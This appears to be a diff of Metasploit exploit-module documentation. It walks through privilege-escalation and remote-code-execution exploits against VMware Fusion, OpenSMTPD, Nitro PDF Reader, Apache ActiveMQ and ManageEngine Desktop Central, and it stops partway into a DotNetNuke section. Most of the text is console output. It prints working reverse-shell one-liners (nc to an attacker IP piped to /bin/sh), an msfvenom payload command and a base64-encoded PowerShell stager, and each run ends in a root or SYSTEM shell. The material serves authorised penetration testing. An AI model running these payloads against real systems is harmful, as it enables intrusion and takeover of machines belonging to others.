[*] Next chunk is 112788 bytes
|
||||
[*] Next chunk is 84713 bytes
|
||||
[*] Next chunk is 106180 bytes
|
||||
[*] Next chunk is 89744 bytes
|
||||
[*] Next chunk is 87533 bytes
|
||||
[*] Next chunk is 127271 bytes
|
||||
[*] Next chunk is 71468 bytes
|
||||
[*] Created folder (/Users/wvu/Bvr/k8h88/GAymi/) and link
|
||||
[*] Starting USB Service (5 sec pause)
|
||||
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:63876) at 2020-04-02 11:00:59 -0500
|
||||
[+] Deleted /Users/wvu/Contents/Library/services/VMware USB Arbitrator Service
|
||||
[*] Killing service
|
||||
[*] Deleting /Users/wvu/Bvr
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: wvu @ [redacted] (uid=[redacted], gid=[redacted], euid=0, egid=[redacted])
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### VMware Fusion 11.5.1 (15018442) on macOS 10.15.3 (19D76)
|
||||
|
||||
```
|
||||
/msfvenom --payload python/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=8888 -b "\x00" -o /var/www/html/meterp_8888.py
|
||||
```
|
||||
|
||||
```
|
||||
[*] Processing fusion.rb for ERB directives.
|
||||
resource (fusion.rb)> setg verbose true
|
||||
verbose => true
|
||||
resource (fusion.rb)> use exploit/multi/handler
|
||||
resource (fusion.rb)> set payload python/meterpreter/reverse_tcp
|
||||
payload => python/meterpreter/reverse_tcp
|
||||
resource (fusion.rb)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (fusion.rb)> set lport 8888
|
||||
lport => 8888
|
||||
resource (fusion.rb)> exploit
|
||||
[+] Vmware Fusion 11.5.1 is exploitable
|
||||
[*] The target appears to be vulnerable.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:8888
|
||||
[*] Sending stage (53755 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 2.2.2.2:49265) at 2020-03-23 18:07:57 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : h00dies-MBP.doman
|
||||
OS : Darwin 19.3.0 Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/osx
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
```
|
||||
resource (fusion.rb)> use exploit/osx/local/vmware_fusion_lpe
|
||||
resource (fusion.rb)> set session 1
|
||||
session => 1
|
||||
resource (fusion.rb)> exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Vmware Fusion 11.5.1 is exploitable
|
||||
[*] Using pre-11.5.3 exploit
|
||||
[*] Uploading Payload: /Users/h00die/Contents/Library/services/VMware USB Arbitrator Service
|
||||
[*] Creating folder (/Users/h00die/2KLH/s0m/wX8XO/) and link
|
||||
[*] Starting USB Arbitrator Service (5 sec pause)
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49269) at 2020-03-23 18:08:14 -0400
|
||||
[+] Deleted /Users/h00die/Contents/Library/services/VMware USB Arbitrator Service
|
||||
[*] Killing service
|
||||
[*] Deleting /Users/h00die/2KLH
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die @ h00dies-MBP.domain (uid=501, gid=20, euid=0, egid=20)
|
||||
meterpreter > sysinfo
|
||||
Computer : h00dies-MBP.domain
|
||||
OS : macOS Unknown (macOS 10.15.3)
|
||||
Architecture : x86
|
||||
BuildTuple : x86_64-apple-darwin
|
||||
Meterpreter : x64/osx
|
||||
|
||||
```
|
||||
|
||||
### VMWare Fusion 11.5.3 on macOS 10.15.3
|
||||
|
||||
```
|
||||
resource (fusion.rb)> setg verbose true
|
||||
verbose => true
|
||||
resource (fusion.rb)> use exploit/multi/handler
|
||||
resource (fusion.rb)> set payload python/meterpreter/reverse_tcp
|
||||
payload => python/meterpreter/reverse_tcp
|
||||
resource (fusion.rb)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (fusion.rb)> set lport 8888
|
||||
lport => 8888
|
||||
resource (fusion.rb)> exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:8888
|
||||
[*] Sending stage (53755 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 2.2.2.2:49198) at 2020-03-28 07:37:16 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : h00dies-MBP.ragedomain
|
||||
OS : Darwin 19.3.0 Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/osx
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
```
|
||||
resource (fusion.rb)> use exploit/osx/local/vmware_fusion_lpe
|
||||
resource (fusion.rb)> set session 1
|
||||
session => 1
|
||||
resource (fusion.rb)> exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Vmware Fusion 11.5.3 is exploitable
|
||||
[*] Using 11.5.3 exploit
|
||||
[*] Uploading Payload to /Users/h00die/Contents/Library/services/SAGgama
|
||||
[*] Uploading race condition executable.
|
||||
[*] Writing '/Users/h00die/Contents/Library/services/TVOK7bDP' (342 bytes) ...
|
||||
[*] Creating folder (/Users/h00die/weGd/JvR/VoYDt/) and link
|
||||
[*] Writing '/Users/h00die/Contents/Library/services/alYnwGRyo' (178 bytes) ...
|
||||
[*] Launching Exploit /Users/h00die/Contents/Library/services/alYnwGRyo
|
||||
[*] attempt 1
|
||||
[*] Exploit Finished, killing
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49213) at 2020-03-28 07:37:28 -0400
|
||||
[-] Unable to delete /Users/h00die/Contents/Library/services/VMware USB Arbitrator Service
|
||||
[+] Deleted /Users/h00die/Contents/Library/services/TVOK7bDP
|
||||
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_delete_dir: Operation failed: Python exception: OSError
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(osx/local/vmware_fusion_lpe) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die @ h00dies-MBP.ragedomain (uid=501, gid=20, euid=0, egid=20)
|
||||
meterpreter > sysinfo
|
||||
Computer : h00dies-MBP.ragedomain
|
||||
OS : macOS Unknown (macOS 10.15.3)
|
||||
Architecture : x86
|
||||
BuildTuple : x86_64-apple-darwin
|
||||
Meterpreter : x64/osx
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,139 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an out-of-bounds read of an attacker-controlled
|
||||
string in OpenSMTPD's MTA implementation to execute a command as the
|
||||
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Download [OpenBSD 6.6](https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso)
|
||||
2. Install the system
|
||||
|
||||
### Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 OpenSMTPD < 6.6.4 (automatic grammar selection)
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Set this to a valid session ID on an OpenBSD target.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### OpenSMTPD 6.6.0 on OpenBSD 6.6
|
||||
|
||||
```
|
||||
msf5 > use exploit/unix/local/opensmtpd_oob_read_lpe
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > show missing
|
||||
|
||||
Module options (exploit/unix/local/opensmtpd_oob_read_lpe):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_netcat):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set lhost 172.16.249.1
|
||||
lhost => 172.16.249.1
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
|
||||
|
||||
[+] mkfifo /tmp/gkhbba; nc 172.16.249.1 4444 0</tmp/gkhbba | /bin/sh >/tmp/gkhbba 2>&1; rm /tmp/gkhbba
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[*] OpenSMTPD 6.6.0 is using new grammar
|
||||
[+] The target appears to be vulnerable. OpenSMTPD 6.6.0 appears vulnerable to CVE-2020-8794
|
||||
[*] Started service listener on 0.0.0.0:25
|
||||
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'brvaysxuzssmnjkysoh@[172.16.249.1]' < /dev/null && echo true
|
||||
[*] Client 172.16.249.137:37747 connected
|
||||
[*] Exploiting new OpenSMTPD grammar for a root shell
|
||||
[*] Faking SMTP server and sending exploit
|
||||
[*] Sending: 220
|
||||
[*] Expecting: /EHLO /
|
||||
[+] Received: EHLO
|
||||
[*] Sending: 250
|
||||
[*] Expecting: /MAIL FROM:<[^>]/
|
||||
[+] Received: foo.localdomain
|
||||
MAIL FROM:<w
|
||||
[*] Sending: 553-
|
||||
553
|
||||
|
||||
dispatcher: local_mail
|
||||
type: mda
|
||||
mda-user: root
|
||||
mda-exec: mkfifo /tmp/rettgqm; nc 172.16.249.1 4444 0</tmp/rettgqm | /bin/sh >/tmp/rettgqm 2>&1; rm /tmp/rettgqm; exit 0
|
||||
|
||||
[*] Disconnecting client 172.16.249.137:37747
|
||||
[*] Command shell session 3 opened (172.16.249.1:4444 -> 172.16.249.137:3005) at 2020-03-03 18:40:54 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(wheel) groups=0(wheel)
|
||||
uname -a
|
||||
OpenBSD foo.localdomain 6.6 GENERIC#353 amd64
|
||||
^Z
|
||||
Background session 3? [y/N] y
|
||||
```
|
||||
|
||||
### OpenSMTPD 6.0.4 on OpenBSD 6.3
|
||||
|
||||
```
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 2
|
||||
session => 2
|
||||
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
|
||||
|
||||
[+] mkfifo /tmp/hkioy; nc 172.16.249.1 4444 0</tmp/hkioy | /bin/sh >/tmp/hkioy 2>&1; rm /tmp/hkioy
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[*] OpenSMTPD 6.0.4 is using old grammar
|
||||
[+] The target appears to be vulnerable. OpenSMTPD 6.0.4 appears vulnerable to CVE-2020-8794
|
||||
[*] Started service listener on 0.0.0.0:25
|
||||
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'nozahdogyxewkv@[172.16.249.1]' < /dev/null && echo true
|
||||
[*] Client 172.16.249.138:10203 connected
|
||||
[*] Exploiting old OpenSMTPD grammar for a nobody shell
|
||||
[*] Faking SMTP server and sending exploit
|
||||
[*] Sending: 220
|
||||
[*] Expecting: /EHLO /
|
||||
[+] Received: EHLO
|
||||
[*] Sending: 250
|
||||
[*] Expecting: /MAIL FROM:<[^>]/
|
||||
[+] Received: foo.localdomain
|
||||
MAIL FROM:<w
|
||||
[*] Sending: 553-
|
||||
553
|
||||
|
||||
type: mda
|
||||
mda-method: mda
|
||||
mda-usertable: <getpwnam>
|
||||
mda-user: nobody
|
||||
mda-buffer: mkfifo /tmp/jszy; nc 172.16.249.1 4444 0</tmp/jszy | /bin/sh >/tmp/jszy 2>&1; rm /tmp/jszy; exit 0
|
||||
|
||||
[*] Disconnecting client 172.16.249.138:10203
|
||||
[*] Command shell session 4 opened (172.16.249.1:4444 -> 172.16.249.138:40377) at 2020-03-03 18:41:06 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
|
||||
uname -a
|
||||
OpenBSD foo.localdomain 6.3 GENERIC#100 amd64
|
||||
```
|
||||
@@ -20,7 +20,7 @@ SMTP interaction with OpenSMTPD to execute a command as the root user.
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 OpenSMTPD >= commit a8e222352f
|
||||
0 OpenSMTPD < 6.6.1
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -6,15 +6,13 @@ This module exploits a command injection in Ajenti == 2.1.31. By injecting a com
|
||||
|
||||
This module has been tested with [Ajenti 2.1.31](https://pypi.org/project/ajenti-panel/2.1.31/#files)
|
||||
|
||||
## Setup
|
||||
### Setup
|
||||
|
||||
1. `sudo pip install ajenti-panel==2.1.31 ajenti.plugin.dashboard ajenti.plugin.settings ajenti.plugin.plugins`
|
||||
2. `ajenti-panel -v`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. `use exploit/unix/webapp/ajenti_auth_username_cmd_injection`
|
||||
2. `set RHOSTS <rhost>`
|
||||
3. `set LHOST <lhost>`
|
||||
|
||||
@@ -16,8 +16,6 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
|
||||
@@ -60,4 +58,3 @@
|
||||
[+] Deleted ZWTgqwsiFL.php
|
||||
[*] Server stopped.
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
|
||||
PDF Reader version 11. The saveAs() Javascript API function allows for writing
|
||||
arbitrary files to the file system. Additionally, the launchURL() function allows
|
||||
an attacker to execute local files on the file system and bypass the security dialog
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/fileformat/nitro_reader_jsapi```
|
||||
4. Do: ```set payload windows/meterpreter/reverse_tcp```
|
||||
5. Do: ```set LHOST [IP]```
|
||||
6. Do: ```run```
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### FILENAME
|
||||
|
||||
The file name to save the exploit pdf to. Default is `msf.pdf`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Nitro Pro PDF Reader 11.0.3.173 on Windows XP
|
||||
|
||||
```
|
||||
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
|
||||
[*] Processing scripts/nitro.rc for ERB directives.
|
||||
resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi
|
||||
resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
resource (scripts/nitro.rc)> set LHOST 172.16.175.1
|
||||
LHOST => 172.16.175.1
|
||||
resource (scripts/nitro.rc)> exploit
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.175.1:4444
|
||||
msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://192.168.100.4:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.100.4 nitro_reader_jsapi - Sending second stage payload
|
||||
[*] Sending stage (957487 bytes) to 172.16.175.232
|
||||
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500
|
||||
[+] Deleted C:/Windows/Temp/UOIr.hta
|
||||
|
||||
msf exploit(nitro_reader_jsapi) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > shell
|
||||
Process 2412 created.
|
||||
Channel 2 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\researcher\Desktop>
|
||||
```
|
||||
@@ -0,0 +1,70 @@
|
||||
## Introduction
|
||||
|
||||
A directory traversal vulnerability was discovered in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows. The vulnerability, tracked as CVE-2015-1830, allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.
|
||||
|
||||
Because vulnerable servers allow for directory traversal, they will accept HTTP PUT requests for `/fileserver/..\\admin\\` and process these as requests for `/admin/`. For the PUT request to succeed, credentials need to be provided.
|
||||
|
||||
This module exploits CVE-2015-1830 by attempting to upload a JSP payload to a target via an HTTP PUT requests for `/fileserver/..\\admin\\` using the default credentials `admin:admin` (or any other credentials provided by the user). It then issues an HTTP GET request to `/admin/<payload>.jsp` on the target in order to trigger the payload and obtain a shell. The module has been succesfully tested against ActiveMQ 5.11.1 on a Windows 7 machine.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
2. Do: `use exploit/windows/http/apache_activemq_traversal_upload`.
|
||||
3. Do: `set RHOSTS [IP]`. This option is used to set the IP address of the remote system running Apache ActiveMQ.
|
||||
4. Do: `set PAYLOAD [payload]`. This option can be used to set the payload to use against the target. The default payload is `java/jsp_shell_reverse_tcp`.
|
||||
5. Do: `set LHOST [IP]`. This option is used to set the IP address of the local machine the payload should establish a connection with.
|
||||
6. Do: `exploit`.
|
||||
|
||||
## Options
|
||||
|
||||
1. `PASSWORD`. The default setting is `admin`, which is the default password for the ActiveMQ administrator account.
|
||||
2. `PATH`. This option is the traversal path. `/fileserver/..\admin\` by default.
|
||||
3. `USERNAME`. The default setting is `admin`, which is the default ActiveMQ administrator account.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 exploit(windows/http/apache_activemq_traversal_upload) > show options
|
||||
|
||||
Module options (exploit/windows/http/apache_activemq_traversal_upload):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD admin yes Password to authenticate with
|
||||
PATH /fileserver/..\admin\ yes Traversal path
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 8161 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the web application
|
||||
USERNAME admin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
msf5 exploit(windows/http/apache_activemq_traversal_upload) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.1:4444
|
||||
[*] Uploading payload...
|
||||
[*] Payload sent. Attempting to execute the payload.
|
||||
[*] Payload executed!
|
||||
[*] Command shell session 1 opened (192.168.1.1:4444 -> 192.168.1.2:49194) at 2020-02-04 10:55:36 +0100
|
||||
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\IEUser\Desktop\activemq 5.11.1\apache-activemq-5.11.1\bin\win64>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://www.cvedetails.com/cve/CVE-2015-1830/>
|
||||
2. <https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt>
|
||||
@@ -0,0 +1,98 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a Java deserialization vulnerability in the
|
||||
`getChartImage()` method from the `FileStorage` class within ManageEngine
|
||||
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
|
||||
|
||||
> The short-term fix for the arbitrary file upload vulnerability was
|
||||
> released in build 10.0.474 on January 20, 2020. In continuation of that,
|
||||
> the complete fix for the remote code execution vulnerability is now
|
||||
> available in build 10.0.479.
|
||||
|
||||
### Setup
|
||||
|
||||
1. Download a vulnerable installer (I used 10.0.465 x64)
|
||||
2. Install the software in Windows (I used Windows 10)
|
||||
|
||||
### Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
1 Windows Dropper
|
||||
2 PowerShell Stager
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Options
|
||||
|
||||
**WfsDelay**
|
||||
|
||||
If the target is slow to shell, increase this value. The default is 60
|
||||
seconds, on a fresh install and calibrated to my test environment.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Desktop Central 10.0.465 x64 on Windows 10
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/http/desktopcentral_deserialization
|
||||
msf5 exploit(windows/http/desktopcentral_deserialization) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/http/desktopcentral_deserialization) > show missing
|
||||
|
||||
Module options (exploit/windows/http/desktopcentral_deserialization):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
|
||||
msf5 exploit(windows/http/desktopcentral_deserialization) > set rhosts 172.16.249.139
|
||||
rhosts => 172.16.249.139
|
||||
msf5 exploit(windows/http/desktopcentral_deserialization) > set lhost 172.16.249.1
|
||||
lhost => 172.16.249.1
|
||||
msf5 exploit(windows/http/desktopcentral_deserialization) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[*] Detected Desktop Central version 100465
|
||||
[+] The target appears to be vulnerable. 100465 is an exploitable version
|
||||
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
|
||||
[*] Powershell command length: 2502
|
||||
[*] Serializing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAImual4CA7VWa2+bSBT9nEj5D6iyBCiOjV0nTSNV2gFDjGu7psSP2GutCAww8QAuDLFJt/9979iQptt0t11pERLzuM9zz8zFz2OXkSQWEuuy/Ub4fHJ8NHZSJxKk2pr6al4XarkiHx3Beu1+aAbCO0Faos2mm0QOiVdXV1qepjhmh3njGjOUZTi6owRnkiz8KcxCnOKzD3f32GXCZ6H2R+OaJncOLcUKzXFDLJyh2ON7g8R1eDgNe0MJk8Tffxfl5Vlr1dA/5Q7NJNEuMoajhkepKAtfZO7wpthgSRwSN02yxGeNGYlftxuTOHN8PAJrD3iIWZh4mShDFvCmmOVpLOzz4QYO25IIw3GauMjzUpxlYl1YctPL1eo3aVn6/ZjHjES4YcYMp8nGxukDcXHW6DmxR/FH7K9Ay2YpiYOVLIPYQ7LGUi3OKa0Lv2JGGuFthdrPKknPlUBqzFK5DoV8Ic9h4uUUHzTFFwI9FF+G50AAQO7LyfHJsV/RxX2rec/ZAqOj5X6MITppnGRkL/dOUOrCEPw4LEkLmNZu0hzLqydshVrkTOs/Vm9VslyyVzzC0nKaEG8FKmU9a87FoMvXf8zLLvZJjLtF7ETEragnvQQy9inep9ioxEYQlCSWG9jrYooDh3HYeK2/U9Mjwp501ZxQD6fIhUJlEBXUUP42mEMlJNGMhzgCiA5zIF/NB8LjSrokeVF553MQEjXqZFldGOdw4ty6YGOHYq8uoDgj5RbKWbIfil/DHeaUEdfJWGVuJVc4lv60JM5YmrtQNcj9xt5glziUQ1EXesTDamGToPIrvgiE5lAK5wAsPUAhYIUDYDPOhRRC5HWXGzZmZrShOAKR/ck3qBPAOS/JvueOE2BP/HuAFZkPzOVQVBg8Cw/qa9OE1YUpSRlcIBxWTqL/5P3ZzbGPQ0txWQipOh5LtWCc1LUd4nwsMdkjkDLI3kiTSHUyfNE53BHSq6ZOuufjbvKI4NGNj9ZUtSfThTn0+tQ2mX2rk8EkDE3SMgOYFxM9GDNl8/7mpte3uz2Udnehj8zM1HtqYbVU5PbIm2lfnUxAj2gD635nIk+Ngnlwq23NcTg3wZE2CMwAvqoZuqqyUAJVMbSBrYY6UVBgWz2r01qYzUuqkkfbtFFv9uTvyY/e6fTmuxs0GvZRaHzwjFbb2Ouvuf5ifT3o6vu5y+fWbaYTHfzoxq01DfFsulFnurGwphszON0G1nTQ7BihCusm2Q02dhOeVqv/EHuPQ3r5OIRwremiT/DCDHARIAsh+zam9t1WQ6rhpmr3HE2MCaytb8x4Z91thl5x22u+nQ4J3iTI0hEyKJzHCDnbbrM1S95b03Nroiu7YqLstvp9c6uT/nZdfifXFxdB0++Mm1PbjHtOqEK8Rb+zJv1T2AP6KLd+c8rx6+px8zGeU2estRJ612xNSPeNqpoE90dDl35SIWewcW7dJVrbDX2IyQwurWCexG1nDXZnAYLoID+os983QUfNKVlPTufcVn+rRP2dwuOM+pcQW7uMAbHYnDchPtTr2lp8bZvztocNtXnqvnvFGQuUrRV09IyKP+ohQyfNQocCRaE5VJeCkaRGed+PE8I1JOnwm7DGaYwpdFnow9XZQpQmLu83+9YAve7QgXhDnMDwdfvFkSw8Ccpf+1C1dHW1gDDhtO5QY4DjgIV1ZfdaUaCnKLuOAjn+fGJasikkMFTnHYnDcjBL92Zlfnpr6eye/M9glZdGCB/v38D6uvYPuz8FoFLfJ/zd6rcLvwTnr6c+cwgDURvuPYoPXfdlBEpmPPst4YWByvvlw/8rP+TsbAR/KyfHfwHyG93zwwoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
|
||||
[*] Uploading serialized payload
|
||||
[+] Successfully uploaded serialized payload
|
||||
[*] Deserializing payload
|
||||
[+] Successfully deserialized payload
|
||||
[*] Sending stage (206403 bytes) to 172.16.249.139
|
||||
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.139:50055) at 2020-03-12 16:51:07 -0500
|
||||
[!] This exploit may require manual cleanup of '..\webapps\DesktopCentral\_chart\logger.zip' on the target
|
||||
|
||||
meterpreter >
|
||||
[+] Deleted ..\webapps\DesktopCentral\_chart\logger.zip
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : MSEDGEWIN10
|
||||
OS : Windows 10 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,370 @@
|
||||
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
|
||||
|
||||
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data, which occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system.
|
||||
|
||||
### DNN v5.0.0 - v9.1.0
|
||||
|
||||
**CVE-2017-9822**:
|
||||
|
||||
Directly exploitable.
|
||||
|
||||
|
||||
### DNN v9.1.1 - v9.2.1
|
||||
|
||||
**CVE-2018-15811**, **CVE-2018-15812**:
|
||||
|
||||
The patch for CVE-2017-9822 used a weak encryption algorithm (DES) and an encryption key of low entropy. Furthermore, if the target site is configured to use Verified Registration, the plaintext value of the registration verification code is exposed on the user profile page. Since the verification code is encrypted using the same algorithm and key as the DNNPersonalization cookie, a known-plaintext attack can be used to recover the key and re-exploit CVE-2017-9822 with an encrypted cookie. In some cases a valid .DOTNETNUKE session token may be required for exploitation (v9.2.0+)
|
||||
|
||||
|
||||
### DNN v9.2.2 - v9.3.0-RC
|
||||
|
||||
**CVE-2018-18325**, **CVE-2018-18326**:
|
||||
|
||||
